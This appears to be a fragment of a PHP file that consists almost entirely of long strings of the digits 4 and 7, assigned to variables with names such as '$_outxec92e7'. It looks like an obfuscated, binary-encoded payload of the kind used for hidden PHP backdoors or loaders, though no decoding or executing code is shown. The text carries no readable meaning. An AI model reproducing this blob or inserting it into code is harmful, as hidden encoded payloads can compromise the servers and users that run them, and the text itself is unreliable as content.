4447444444474447444444444444444444444444444744444444444744444447444444444444444444444444444444444444444444444444444444474444444744444444444444444444444444474444444444474444444444444444444444444447444444444447444444444447444744444444444744444444444444474447444744444444444444444447444744444447444444474444444744444447444444444444444444444444444444444444444444444444444744444444444744474444444444444444444444444444444444474444444444444444444744444444444444444444444444474447444444444444444444444444444744444444444444444444444744444444444744444444444444474444444444444444444444444444444744474447444444444447444444444444444444474444444744444444444444474444444744444444444444474444444744474447444444444444444444474447444744474444444444444444444444444444444444444444444444444447444444444444444444444444444444444447444744444444444444444444444444444447444444444444444744444444444744444447444744444444444444474447444444444444444744474444444444444447444444444444444444474444444444444444444744474444444744444447444444444447444444444444444444444447444744444444444444444447444744444444444444474444444444444444444744444444444444474444444744444447444444474444444444444444444444444444444744444444444444444444444444444444444444444444444744444447444444444444444744444444444744474447444444474444444444444447444444444444444444444444444444474444444444444444444444474447444444474444444444444447444444474444444744444444444444474447444744474444444444444444444444444444444444444447444444444444444744474447444444444444444744474444444444444444444744444444444444444444444744474444444444444444444444474444444444444444444744444444444444444447444444444444444444444444444444444447444444474447444444444444444444444444444444444444444444444444444444444444444444474444444744474447444744444444444444474444444444444444444444444444444444444447444744474444444444444447444444444444444744444444444744444444444744444444444444444444444444474444444744444444444444444444444444444444444744444444444444444444444444474444444444474447444444444444444744444447444444444447444444444447444744474444444444444444444444444447444444444444444444444447444744444447444444474444444444444444444444444444444744444447444444474444444444474444444444444444444444444447444444474444444444474444444744444444444444444444444744444447444444444444444444444447444444444444444444444444444444444447444444444444444444444444444744444444444744444444444444474444444444444447444444444444444444444444444444444444444444444447444444444444444444474444444444474444444444444444444744444447444744444444444744444444444444444444444444444444444744444444444444444444444444444444444444444444444744444444444744474447444444444444444444444444444444444447444444444444444444444447444444444447444444444447444744444444444744444444444444444444444444444447444744474444444444444444444444444444444444474444444444444444444444474444444444444444444444444447444444444444444444474447444444474444444444444444444444474444444444444444444444444444444444474444444444474444444744444444444744444447444444444444444444444447444444474444444444444444444444444444444444444444444744474444444444474444444444444447444444444447444444474447444444474444444744444444444744444444444444444444444444474444444744444444444444474444444444444444444444444444444444444447444444444447444444444447444744474447444444474444444744444444444444474444444444444444444444444447444744444447444744444447444444444444444444444444444444444444444444444444444744444444444444444444444744444444444744444447444744444444444444444444444444444444444744444447444444444444444444474444444444444444444744444444444444444444444444444444444444444444444744444444444444444444444744444444444444444447444444444444444744474444444744444444444444474444444744444447444744444447444444444444444444444444444444444444444444474447444744474444444444444447444444444444444444444444444444474447444744444447444444444444444444474447444444444447444444444444444444444444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444744474444444444444444444444444444444744444444444744474447444444444447444444444444444444444447444444444447444444444447444444444447444744444444444744444444444444444447444444474444444444474447444744444444444444444447444444474444444444444447444444444447444744474444444444444447444744474444444444444444444444474444444444444444444744444447444444444444444744444444444444474444444444474447444444474444444744444444444444474444444444444444444744444444444444474444444744444444444444444444444444444447444444444444444444474444444444444444444744444444444444474444444444444444444744444444444444444444444444444444444444444444444744444444444444474444444744444444444444444444444744444444444444444444444444474444444744444444444444444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444474447444444474444444744474444444444474444444444444447444444444444444444474447444444474444444444474444444444444447444744444444444744444444444444444444444444444447444444444447444744444447444444444447444444444444444444444447444744444444444444474444444744444447444444444444444744474444444444444447444444444444444744444444444444474447444444444444444444474447444444474447444444474444444444444444444444474444444744444444444444444444444444474444444444444447444744444447444744444447444744474444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444474447444444474444444444444444444444474444444444444447444444444444444444444444444444444444444744474444444744474444444744474447444744474444444444474447444444444447444744444444444444444444444444444444444444474444444744444444444444444444444444474444444444444444444744444447444444444444444444444447444444444444444444444444444744474447444744474444444744444444444444474447444444444444444444444444444744444444444744444447444444444444444444444444444744474444444444444444444444444447444444444444444744474447444444474444444744444444444744444444444444444444444444474444444744444447444744474444444444444444444444444447444744444444444444444444444744474444444744444444444444474447444744444444444744444444444444444444444444474447444444444447444444444444444444444444444444444447444744474444444444474444444444474447444444444444444444444444444444444444444444474444444444444444444444444444444744444444444744444444444444444444444444474444444744474447444444444444444444444444444444444444444744474444444744444447444444474444444744444444444444474447444744444447444444474444444444444444444444444444444444474447444444474444444444474447444744474447444444444444444444444447444444444444444744444444444444444444444744474447444444444447444444444444444444474447444744444444444444444444444444444444444444474444444444444444444444444447444444474447444744474447444744474444444444444444444444444447444444474447444444474447444444444444444444444444444444444447444444474444444444444447444444444444444444444444444444474447444444474444444444444444444444444444444744474444444444444444444444444444444744474444444744444447444444444444444444444444444744444444444444444444444444444444444444444447444444444444444444474447444444444444444444444447444444474447444444444444444744444444444444444447444744444444444744444447444444444444444444444444444444444444444444444444444444444444444744444444444744444444444444444447444444444447444744444444444444444444444444444447444444444444444744444444444444444447444744474444444744474444444444444444444744444444444744474444444444444444444444444444444444444444444444444444444444474444444744444444444444444444444744474447444444474447444744444444444744444444444444444444444744474447444444474447444444474444444444444444444444444447444444444444444744444444444444444447444444444447444444444444444744474444444444444444444444474444444444444447444744444447444444444447444444444447444444444444444444444447444444444444444444474444444444474444444744474444444744444447444444444444444444444447444444444447444444444444444744444444444444444444444444444444444444474447444744474444444444444444444744444447444444444444444444444444444444444444444444474447444744474447444444444444444744444444444744444444444444444447444444444444444444444444444444444444444444444444444744444447444444474444444444474444444444444444444444444447444444444444444744444444444444444444444444444447444744474447444444444444444444444444444444444447444444474444444444444444444444444447444444444447444444444444444444444444444444444444444444474447444744474447444444444444444744474444444444444444444444444444444444444444444444444444444444444444444744474444444444444444444444444444444444444447444444444444444744444444444444474444444744444447444744444444444444444447444444474447444444444444444444474444444744444444444444444447444444444444444744474444444444474444444444444444444444444447444444474444444444444444444744444444444744444444444444474444444444444447444444444447444444474447444444444444444444474444444444444444444444444444444444444444444444444444444444474447444444444447444444444444444444444444444744444444444744444447444744474444444444444444444444474444444744444444444444474444444444444444444444444444444444444447444444474444444444444444444744474444444444474447444744474444444444444444444444444444444444444447444744444444444444444447444444444447444444444444444744444444444744444444444744474444444744444444444444444444444744474444444744444444444444474444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444444447444444474444444444444444444744444444444444444447444444444447444744444444444444444447444744444444444744474444444444444447444444444444444444444447444444444444444744444447444444444444444744444444444744444447444744444444444444444444444444444444444444444447444744444444444444444444444444474444444444444447444744444444444444474447444744474447444744444444444744444447444444474444444444444447444444444447444444444447444744444447444444444444444444444444444444444444444744474444444744444444444444474444444444444444444444444444444444474444444444444444444744444444444744444444444444474444444744444444444444444444444444444444444444474444444444444444444444444444444744474447444444444444444444444444444744444444444444444444444444444444444444444444444444444444444444444447444744474447444444444447444444474444444744444444444744444447444744444444444444474444444444474444444744444444444444444444444444474444444444444447444444474444444444444444444444444444444444444444444744444444444744474444444444474447444744444444444444444444444744444444444444444444444744444444444444444447444444444447444444474444444444444444444444474447444444444447444444444447444444444444444444444447444444444444444444444444444444444447444444444444444444474444444444444444444444474447444444444444444444444444444744444447444444444444444444444447444744444444444444444447444444444444444444474444444444444444444444444447444444444447444444474444444744444447444444474444444444444444444444474447444444444447444744474444444744444447444744444444444744444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444744444444444744444447444444444444444744444444444444444447444444474444444444474444444444474444444444444444444444474444444444444444444744474444444444474444444744474444444744444447444444444444444744474447444444444444444444444444444744474444444444444444444744444444444444474447444444444444444444444444444444444444444444444444444744444444444444474444444444474447444444474447444444474444444444444444444444474444444444444444444444444444444444444444444444444447444744444444444444474444444444444444444444444447444444474444444744444444444444444447444744474444444444444444444444444444444444444444444444444444444444444447444444474444444444474444444744444447444444444447444744444447444444444444444444474444444444444444444444474444444444444447444444444444444444474444444444444447444444474444444444444444444444474444444744444444444744474447444444474447444444444444444444444444444444474444444744474444444444444444444444474447444444444444444444444444444444444444444444444444444744444444444444444447444444444447444744444447444444444444444744444447444744444447444444444444444444444444444444474444444744444444444444474444444444444444444444444444444744444447444444444447444444474444444444444447444444444444444744444447444444474444444444444444444744444444444444474444444744444447444444474444444744444444444444444444444444444444444744444444444444474447444444444444444744474444444744474444444444444444444444474444444444444447444444444444444444444444444744444444444444444444444444474444444444474444444744474444444444444447444444444444444744444444444744444444444744444444444444444447444444444444444444444444444444444444444444474444444744474444444444474444444444444444444444444444444444444444444744444447444444474447444444474444444444444444444444444444444744444447444444444447444444444444444444444444444744444444444444444444444744444444444444444444444444474444444744444444444444474447444744444447444444474444444744444444444744444444444444474444444444444447444744444444444744444444444444474444444444474447444744474447444444444447444744444444444444474444444744444444444444444444444444444444444744474444444744444444444744444444444744474444444444444447444444444444444744444444444444474444444444444447444444444444444744444444444444444447444444444444444444444444444444474444444744444447444444444447444744444444444444444444444444444444444444444444444444444444444444444447444744444444444744444447444444444444444444444447444444444444444444444444444744474444444444444444444444444447444444444444444444474447444744444444444444444444444744444444444444";
        $_outxec92e7 = "444444444744444444444444444447444444444447444444444447444444444444444744444447444444444444444444444444444444444447444444444444444444444444444444444447444744444444444444444447444744444444444444474444444444444444444444444447444744474444444744444447444744444444444744444447444444444444444744444444444744474444444444444444444444444444444444444447444444474444444444444444444444444447444444444444444444444444444444444444444444444447444744444444444744444444444444444444444744444444444744444447444744474444444744444447444744444447444444444444444444474447444444474444444444444444444444474444444444444447444744444444444444474444444444444444444444444447444744474444444444474444444744444447444444444444444444474444444444444444444444444447444744444444444444444444444444474444444444444444444744444444444444474444444444474447444444444447444444444444444444444447444444474447444444444444444444444444444444444447444444474447444444444447444444444444444444444447444444444447444744444444444444474447444744444444444744444444444444444444444444444444444444444444444744474444444444444447444744444444444444444444444444444447444444444444444444444444444444444447444444474444444444444444444444444447444444474447444444474447444444474444444744444444444444444444444444444444444444444444444444474444444744444444444444444447444444444447444444444444444744444447444744444447444744474444444444474447444444444444444444474447444444474444444444444444444444444444444444444444444444444444444744444447444744444444444744444444444444444444444444444447444744444447444444444444444744444444444444474447444444444447444444444444444444444444444744474447444444474444444744444444444444444447444444474444444444444444444744444444444444444444444744444447444744444444444444444444444444474444444744474444444444474444444744444444444744444444444444444444444744444444444744444444444444444444444444474444444444444444444444444444444444444444444444474444444444444444444444444447444744444444444444444447444444444447444444444447444444474444444744474444444444474447444444444444444444444444444444444447444744474444444744444447444444444447444444444447444744444444444444444444444444474444444444444444444744444444444444474444444444474447444744444444444444444444444444444444444744444447444444444444444444474444444444444447444744444444444744444444444744444444444744444447444744444447444744474444444444444444444444444447444444444447444444474447444444474444444444444447444444444444444444444444444444444447444444444444444444444444444444474444444444444444444444444444444444444444444444474447444744444444444444474444444444444444444444444447444444444444444444444444444744474444444444444447444444474444444444444444444444444447444744444447444444474444444444474447444444474444444444444447444744474447444444444447444444444447444444474444444744444444444444474444444444444447444444444444444444474444444744444444444444444447444444474447444744444444444444444444444444444447444444444444444444444444444444444447444744444444444744444444444444444444444444444444444744474444444744444444444444474447444744444444444444444447444744444447444444474447444444474447444744444444444744444444444444444444444444444444444744444444444444474444444744474444444744474447444444444447444744444444444444474444444744444444444444474444444444474444444744444447444444444444444744444444444444444447444444444447444444444444444444444444444444444444444444444444444444474444444744474444444444444447444444444447444744444444444444444444444744444447444744474444444444444444444444444447444744444444444444444444444744444444444444444444444744444447444744474447444444474444444444444444444444474444444744444447444444444447444444444444444444444444444444474444444444474444444444444444444444444444444744444447444444444447444444444444444744444444444744444444444444444447444444444444444744444444444444444444444744444444444444474444444444474447444444474447444444474447444744444444444444474444444444474444444444444447444744444444444444474444444444444444444744444447444444474444444744474447444444474447444444474447444444444444444744444447444444444447444444444444444444474444444444444444444444444444444744474444444444444447444444444444444444444444444444474444444444444444444744444444444444474444444744444444444444474444444444444444444744444447444444444444444444474444444444444447444444474444444444444444444744474447444744474447444444444444444444474447444444444444444744444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444444444744474444444444444447444444474444444444444444444444444447444444474447444444474444444744444444444444444444444444474447444744444447444744444447444444444447444444444447444444444444444444474444444444444447444444474447444444444444444444444447444444444444444444444444444744444444444444444447444444444444444444474444444444444444444444444444444444444444444444444444444744444444444444444444444744444444444444474444444744444447444744444444444744444444444444444444444444444447444444444447444444444447444744444447444444444447444444474447444444444444444444474444444444444444444444444447444444444444444444474447444444474444444744444444444444444444444444444447444444444444444444444444444744444444444444444444444444474447444444444444444744444444444744444444444444444444444744444447444444444444444444444444444744444444444444444447444444444447444744444444444444444447444744444444444744444447444444474447444444474447444444444447444444444447444444444444444444474444444744444444444744444447444444444444444444444444444444444447444444444447444744444444444744444447444444444444444444474447444444444444444444444447444444444444444444444444444444444444444744444447444744444447444444444447444444444444444744444447444444444444444444444444444444444444444444444444444744474444444444444447444444474444444444444444444744444444444444474444444444444447444444444444444444474444444444444444444444444444444744444447444444474444444444444447444444444444444444444444444744444444444444474447444444444447444744474447444744444444444444444444444444474444444444444444444444444444444744444444444444444444444444444447444444444444444444444444444744444444444744444444444444444444444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444447444744444444444744474447444444444444444444444444444744444444444444444447444444444447444444444444444444474444444744444444444444444447444444444444444744474444444744444444444444474444444744474444444444474444444444444444444444444444444744444444444444444447444444474444444444444447444444474447444444474444444744444444444444444444444744444444444444444447444444444447444444444447444444444444444444474444444444444447444444444444444444444444444444444447444744444444444444444444444444474444444444474444444444444444444444444444444744444444444744444447444444474444444444444444444744474444444744474447444444444444444744474444444444444447444744444444444444474444444444444444444444474444444744444447444444444447444444444447444444444447444444444447444444474447444744444444444744444447444444444444444744444444444444474444444744474444444444444444444444444444444444444444444444474447444444444444444444444444444444474447444444444444444444444444444444474447444444444444444744444444444444474444444444444444444744444444444444444444444744444447444444444447444444444444444444444444444444444444444744474444444444474444444444474444444444444444444444474444444444444444444444474444444444444447444444444444444444444447444744444447444744444447444444444447444444444444444444474444444444444444444444444447444444444444444444444444444444444447444744444444444444444447444444444444444744474447444444444444444744444444444744474447444444474444444744444444444444444444444444444444444444444444444444474444444444444444444444474444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444474444444744444444444444444447444444444447444444444444444444474444444444474447444444474444444444444444444444444444444444444447444444474444444744444444444444444444444444444444444444444444444744444444444444444447444444444444444444444444444444444444444444444447444744444444444744444444444744444444444444444447444444474447444444444444444744444444444744444444444444474447444444474444444444474447444744444447444444444444444444474444444744444444444744474444444444444444444444474444444444444444444444444444444444474447444444444447444444444444444444444444444444444444444444444447444444474444444444444444444444444447444444444444444444444444444444444444444444444444444444474444444744444444444444474444444744444444444744444444444444444444444444474447444444444444444444444444444444474447444444474444444444444447444744444444444744444444444444444444444444444444444744444444444444444447444444444447444444474444444444444444444444444447444444444444444444444444444444444444444744444444444444444444444444444444444444444444444444474444444444444444444444444444444444474444444444444444444444444447444744444444444444444444444444474444444444474447444444474444444444444444444744474444444444444444444744474444444444444444444444444444444744444447444444474444444744444447444444444444444744444447444444474444444444444444444444474444444444444444444444444447444744444444444444444444444444474447444744444444444444474444444444444444444444444447444444444447444744444447444444444444444444444444444444444447444444444444444444474447444744474444444444474447444444444444444744474444444444444447444444444444444444474444444744444444444444474444444744444447444744474444444444444447444744444444444444444444444444444444444444444444444744474444444744444444444744444447444744474444444444444447444444444444444444474444444444444444444444444447444444444444444444444447444444474444444444444447444444444444444444444444444444444447444444444444444444444444444744474447444444444444444444474444444444444444444444444444444444444444444444444444444744474444444444474444444444444447444744444444444444444444444744474444444444444447444744444447444744474444444744444444444444444444444444474444444444444444444444444444444444444444444444444444444744444444444444444444444444444447444444474444444444444447444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444444447444444444444444744444444444444474444444444444444444444474444444744474444444444444444444444444447444444474444444444444444444444444444444444444444444444444444444744474444444444444444444444444444444444444444444444444444444444444447444444474444444744444444444444474444444744474444444744444444444744474444444744444444444744474447444444444447444744474447444444444444444444474444444444444444444444444444444744444444444444444447444444444444444744444444444744474444444444444444444444444444444744444447444744474444444444474444444444444447444744444444444744474444444444474444444444444444444444444447444444444447444444474444444444444447444444474444444744444447444444444444444744444444444744444444444444474447444444444444444744444444444444444447444444474444444744444444444444444447444444444447444744474447444444444444444444444444444744444447444444444444444444474444444444444444444744444444444444474447444744444444444744444444444744444447444744474444444444444447444744444444444444444447444444444444444444444444444444444444444444474444444444444444444444474444444444444444444444444444444744444444444444474444444744474444444444444444444444444447444444444444444444474444444444444444444444444444444744444444444744444444444444474444444444474444444744444444444744444447444444444447444444444444444444444444444444444447444444444444444744444444444444444447444444474444444444444447444444444444444444444447444744444444444744444444444444474447444744444444444444444447444444444444444444444447444444474444444744444444444444444447444744444447444444444444444744474447444444474444444444474447444744474444444444444444444444474444444444444444444444444447444444444444444444444444444444444444444444444447444744474444444444444444444444444447444444474447444444444444444444444444444444444444444444444447444744444444444444444447444744444444444444444444444444444444444744474444444744444444444444444447444444474444444444444444444444444447444744474444444744474444444444474447444444444444444744474444444444474444444444444444444444444444444744444444444444444444444444444447444444444444444444444447444444444444444444444444444744444444444744444444444744444444444444444444444444444444444444444444444444474447444744444447444444444444444444444444444444444444444444444444444744444444444444444444444444474444444744474444444444474444444444444447444744474444444744444444444444444444444744474444444744444444444444474444444744444444444744444444444444444444444744444447444744474444444744444447444444444447444744474444444444474447444444474444444444444444444444474447444444444447444444444444444444444444444744474444444744444444444444474447444444444444444444474444444444474444444444444447444444444447444744444444444444474444444744444447444444444444444744444444444444444444444444474444444444474447444444444444444444444444444444474447444444444444444444444444444744474444444444444444444744474444444744444447444444474444444744474447444444444447444744444444444444444444444444444444444744444444444444444444444444474447444444444444444744444444444444444444444444444447444444474444444444444444444744444447444744474444444444444444444444444447444444444444444744474447444444444447444444474444444444474444444444444444444744444444444444444447444444444447444444444447444444444444444744444447444444444444444444444444444444474447444444444447444744444444444444444447444444474444444444444444444444444444444744474447444444474444444444474444444444444444444744474447444444444444444744444447444444474444444444444444444744444444444744474447444444474444444444444444444444444447444744444447444444444444444444444447444744474444444444444444444444444444444444444444444444444444444444444447444744444444444744444444444444444444444444444444444444444444444744444444444444444444444744474447444444444447444444444447444444444444444744444444444744444444444444444444444444474444444744444444444444444444444444444447444444444447444444444447444744444444444444444447444444444444444744444447444444444444444444444444444444444444444744444444444444474444444744444444444744444444444744474447444444444444444744444444444744474444444744444444444444474444444444474444444444444444444444444444444744444444444444444444444444444444444444444444444744444447444744474444444744444447444444444444444444444444444744444444444444444444444444444444444444444444444744444444444744474444444444444444444444474444444744444444444444474447444744444444444444444444444444444444444744474444444744444444444444444447444744474444444444444444444744444447444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444744474447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444474447444744474444444444444444444444444444444444444444444444444447444444444444444444444444444744444444444744444444444744474444444744444444444744444444444744444447444744444447444444444444444444444444444744444444444444474444444744444444444444474444444444444444444444444444444444444444444444444447444444444447444444474447444444474447444744444444444444444444444744474447444444444444444444444444444444444444444744444444444444474444444744444444444744444444444444444444444444444444444444444444444444474444444744444444444744444444444444444444444744444447444444474444444744474444444444474444444444444444444744444444444444444447444444474444444444474447444744474444444444444444444444474444444744474444444444444447444444444444444444444447444744474444444744474444444444444444444444444444444744444444444444444444444444474444444744444444444444444444444444444444444444474444444444444444444444474444444444444444444444474444444444444444444744444447444744444444444444444444444444444447444444444444444444444444444444474444444444444444444444444444444444474444444444444447444444444444444444444447444444444444444444444444444744444444444444444444444744444444444444444444444744444444444444474444444744474444444444474444444444444444444444444444444744444444444444474444444444474444444444474444444444444444444444474444444744444447444744444444444444444444444444444444444744444447444744444444444444444444444744474444444744474444444444444444444444444444444444474444444444444444444444444444444744444444444444444447444444444447444444444444444444444444444444474444444444444447444444444447444444444444444744444444444444444444444444444444444444444444444744444444444444474444444444474447444444444447444444444444444444444447444444444444444444444447444444444444444744444444444444474444444744474444444444474444444744444444444444444444444444444444444444474444444444444447444444444444444444444444444444444447444444444444444744444444444444444444444444474447444444444444444444444444444444444444444444444444444444444444444744444444444444474447444744444444444444444444444444444444444744444447444444444447444744444444444744444444444444444447444744444444444444444447444444444444444744444444444444474447444444444444444444444447444444444444444444444444444744444444444444474444444444474447444444474444444444444444444444444447444444444444444744444444444744444447444744444447444444474447444444444444444744444444444444444444444744444447444444444444444444444444444444444444444744444444444444444447444444444447444444444444444444444444444444474444444444444444444444444444444444444444444444474444444444444447444744474444444744444444444444474444444444474444444444474444444444444444444444444444444444444444444444444444444744444447444444474447444444474447444444444444444444444447444744444444444444444447444444444444444444444447444744444444444444444447444444444447444444474444444444474444444444444447444444444444444444474444444444444444444444444444444444444444444744474444444744474447444444444444444444444447444444474444444444444444444444444447444444444447444444444444444744444447444444444447444444474444444444444444444444444444444744444447444744444447444444474447444444444444444744444447444744474444444744444444444744474444444444444447444444474444444444444444444744474444444444444444444744444444444744444444444444474444444444444447444444444447444444444444444744444444444444474447444744444444444444444444444744474444444444444447444444444444444444444444444744444444444744444444444444474444444444474444444444474447444744474444444444444447444744474444444444444444444444444444444444444444444444444447444444444444444444444444444744474447444444474444444744444447444744474444444444444444444444444444444444474444444444444444444444444447444444444447444444474447444744444444444744444447444744444447444444444444444744444444444744444444444444444444444744444444444444444444444444444444444444444444444444444444444444474444444444444444444444444444444444474444444444474444444744444444444444474444444444444447444744444444444744444444444444444444444744444444444444444447444444444447444744474444444444444444444444444447444444444444444444444444444444444444444744444444444744474447444444444444444744444444444744444444444444444444444744444447444444474447444444444444444744474447444744474447444444444444444444444444444444474444444744444444444444474444444444474444444444474444444444444447444444444444444444474447444444444447444744444447444444444444444444444444444444444444444444444444444444444444444444474444444444474447444444474447444444444444444744474447444444444444444444444447444444474444444444444444444444444447444444444444444444474447444444474444444744444444444444474444444444444444444444474447444444444447444744444447444444444444444444474447444444444444444444474444444744444444444444444447444744444447444444444444444744444447444444444444444444474444444744444444444444474447444744444447444444474444444444444444444444474444444444444447444744444444444744444444444744444444444444474447444744444444444444444444444744444444444444444444444444444444444444444444444444444444444444444447444444474444444744444444444744444444444444474444444744444444444744444444444444474447444444444447444444444447444444444444444444444447444444444444444444444444444444444444444444474447444444444447444444444447444444444447444444474444444744474444444444444447444444444444444444444444444444474447444744444447444444444444444444444444444444444444444444444444444444474444444444474447444444444444444744474447444444444444444744474444444444444444444444444447444444474444444444444444444444444444444744444444444444474444444444444447444444474447444744474447444444474444444444444447444744474447444444444444444444444444444444444444444444474444444744444444444744444444444444474444444744444444444444444447444744474444444744444444444744444444444444444444444744474444444444444444444444444444444744444444444444474447444744444444444744444444444744444447444444444444444744444444444444444444444444444444444744444444444444444447444444444444444744474444444444444444444744444444444444474444444744444447444444444444444744444447444744444444444444444444444444474444444444444444444444444447444744444447444444474444444744444444444444444447444444474444444444474444444444474444444444444444444444474444444444444444444444474444444444444444444444444444444444444444444444444444444744444447444744474444444744444444444744474447444744474444444444474444444744444444444744444444444444444444444444444444444744444447444744444444444444444444444444444447444444444444444444444447444444444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444744444444444444474447444444474444444444474444444444444444444444444447444444444447444744444444444744444444444444444447444444444444444444474447444744474447444444444444444744444444444444444444444744444444444444474444444444444444444444444444444444474444444444474444444444474444444444444447444444474444444444444444444444444447444444444447444444444444444444474444444744474447444444444447444744444447444744444444444444444444444744444444444444444444444444444447444744474444444444444447444444444444444444444444444444444444444444444447444444444447444744474447444444444447444444444444444444474444444444444447444444474447444444444444444444444444444744444444444444474444444444444444444444444447444444444444444444474447444444444444444444444444444744474444444744444444444744474447444444444444444444444444444444444444444444444447444444474447444744474444444444444447444744444447444444444444444444444444444444444447444744444444444744444444444744474444444744444444444744474444444444444447444744444447444444444447444444444444444444474444444444444444444444444444444444444444444444444444444444474444444444444447444444444444444444444444444444474444444444444447444744474444444444474444444444474444444444474447444444444444444444444447444744444444444444444444444444474444444444444444444444444444444444474447444444444444444444444444444444444444444444444444444444474447444444444444444444474444444444444444444444444447444444444444444744474444444444444447444444474444444744474447444444474444444444444447444444444444444744444444444744444444444744474444444444474444444444444444444444444444444444444444444444444444444444474444444744444444444444444447444744444444444744444444444444444444444444474444444744474447444744474447444444444447444444444444444444474444444444444444444444474444444744444444444444444444444444474447444744444444444744444447444444444444444744474447444444444444444444444447444744444444444444444444444444444447444444444444444744444444444744444444444444444447444444474444444444444444444444444447444744444447444444444444444744444447444444474444444444444444444444444444444444444444444444444444444444444444444444474444444444474447444444474444444444444444444444474447444444444447444744444447444444474444444744474447444744444444444744444444444444444444444444444447444444474444444444444447444744444444444444444444444444444444444444444447444444444444444444444444444744444444444444444444444744474447444444474444444444444444444444474444444744444444444444444444444444444444444444444444444444474447444444474444444444444447444444444447444444444444444744444444444444444444444444444444444744444444444444474444444744444444444444444444444744474447444444444447444444444444444444474444444744474447444444444444444744444447444444444444444744444444444444474447444444444444444444444444444444474444444444474444444444474444444744444444444444444444444444474447444444474444444444444444444744444444444444444444444444444447444444444447444444444447444744444444444444444444444444444444444444444447444744444444444744474444444444444447444444444444444444444444444744444444444744444444444744474444444444444444444444444444444444444444444744444444444744444447444444474444444444444444444444444447444744444444444744444444444444444447444444474444444744474447444444444444444444444447444444474447444744444444444444444444444744474447444444444447444444474444444744444447444444444444444444444444444444444444444744444444444744444447444444444447444444444447444744444444444444444447444444444444444444444444444444444447444444474444444744444444444444474444444444444444444744474447444744444444444444444447444744444444444444444444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444444444444744444444444744444444444444444444444444444444444444474444444444474444444444444447444444444444444744444444444744474447444444444447444444474444444744444444444444444447444444444447444744474447444444444444444744444447444744444444444444444444444444474444444444444447444444444447444444474447444744444447444444444447444744444444444444444444444744444444444444444444444444444444444444444444444444474444444444444444444444474444444444474444444744474444444444444444444744474447444444444444444744474444444744474444444444444444444444444444444744474447444444444444444744444447444444444444444444444444444444444447444744444444444444474447444444444444444444444444444444444447444744474444444444444444444444474444444444474444444444474447444744474444444444444444444444474444444444444444444444474444444444444444444444444447444744474444444744444447444744444444444744444444444444444447444744444444444444474444444444474444444444444444444444474447444444474444444444444444444444444447444444444447444444444444444444444447444444474444444444444444444444444444444744444444444444444444444444444444444444474444444744444447444444444447444444474444444744444444444444444447444444444444444444474444444444444444444444444444444744474447444444444447444444444447444444474447444444444444444444444444444744444447444444444447444444444444444444444444444444474444444744474444444744474444444444444444444444444447444744444444444444474447444744444444444444474444444744444444444444444444444444444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444444447444444474447444444444444444444474447444444444447444444444444444444474447444744444444444744444444444444444447444444474447444444444444444744444444444444474447444444444447444444474444444744444444444444444444444444444444444444444444444444444444444444444444444744444447444444444447444444474444444444444444444444444444444444444444444744474447444444474444444444444447444444444444444444444447444444444444444444444444444444474447444444474444444444444444444444474444444744444444444444444447444444444444444444474444444444444444444444444444444444474444444444444447444444474444444444444447444444444447444444444444444444474444444444474444444444444447444444444444444444444447444444444447444444474447444444444444444444474444444444444444444744444444444444444447444744444444444744444444444744444444444444444444444444474447444444474444444444444444444444444444444444444444444744444447444744444444444444474447444444444444444444444444444444474447444444474444444444444444444744474447444744444447444444444444444444444444444744444444444444474447444444474444444444444444444444474444444744444447444744474447444444444444444444444444444444444444444444444444444444474444444444444447444444444444444444474447444444444444444444444444444744444444444444444444444444444444444444444444444744444444444744444447444744474447444744474444444444444444444744444447444744444444444444444447444444444444444444474444444444444447444744444444444444474444444444444444444444444444444444444444444744444444444444444447444444444447444744444444444744474444444444444447444744444444444444444444444744444444444444444444444744444447444744444447444744444444444444474447444444474444444444474444444744444447444444444447444744474444444444474444444744444444444444474444444444444447444444474447444744444444444744444444444444444444444444474447444444444444444744444444444744474444444444444447444444444444444444474444444444444447444444444444444444474444444444444444444444444447444444444444444444444444444744474447444744444444444444444447444744474447444444444444444744474444444744444444444744444444444444444444444444444444444744474447444444474444444444444447444444444444444444444444444444444444444444444444444444474444444744444444444444474444444444444444444444474444444444444447444444444444444444444444444744444444444744474444444444474444444444444444444444474444444744444447444444444444444444444444444444474447444444474444444444444444444444444447444444474444444744444444444444444447444444474444444444444444444444444444444744444444444444474444444444444444444444444444444444444447444444474444444444474444444444474444444444444444444744474447444744444447444744444444444444444447444744474444444744474444444444444444444744444444444744444447444744444447444444444444444444444444444444444444444744444444444444444444444744474444444444444447444444474447444444444444444444474444444444444444444444444444444444444447444444444444444444444447444444474447444444444444444744474444444744444444444444444444444444474444444444444447444444444444444444444444444444444444444444444444444444474447444444444447444444474447444744444447444744444444444744444447444744474447444444444444444444474444444444474447444444444444444444444444444444444444444444444447444744444444444444444447444444474444444444444447444744444444444744444447444444474444444744444444444444474444444444474444444444474444444744474444444444444444444444444447444444444444444444444444444444474447444444444447444444474447444444474444444444444447444444444447444444444444444744444444444444444444444444444444444444444447444744444444444744444444444444444444444444444444444444474447444444474447444444474444444444444447444744444444444444444444444444444444444444444444444444444444444744444447444444444444444744474447444444444447444444444444444444474444444444444444444444444444444444444444444744474444444444444444444444444444444444444444444744444444444744444444444744474444444444444447444744444444444444474447444444444444444444474444444444444444444744444447444744444444444444474447444744474444444444474444444444444447444444474447444444474444444744444444444444444444444744444444444444444447444444474444444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444444474444444444444444444444474447444744444444444444444444444444444444444444474444444444474447444444444444444444444444444444444444444744474444444444474444444444444444444444444444444444474444444444444444444444474447444744474447444444474444444744444444444444474447444444444444444444474447444444444444444444474444444444444444444444444447444444444444444444474444444444444444444444444447444444444447444444444444444444444444444744444444444744444444444444474444444744444444444444474444444744444444444744444447444444474444444744474444444744444447444444444444444744444444444444474444444444444444444444444444444444474444444444474444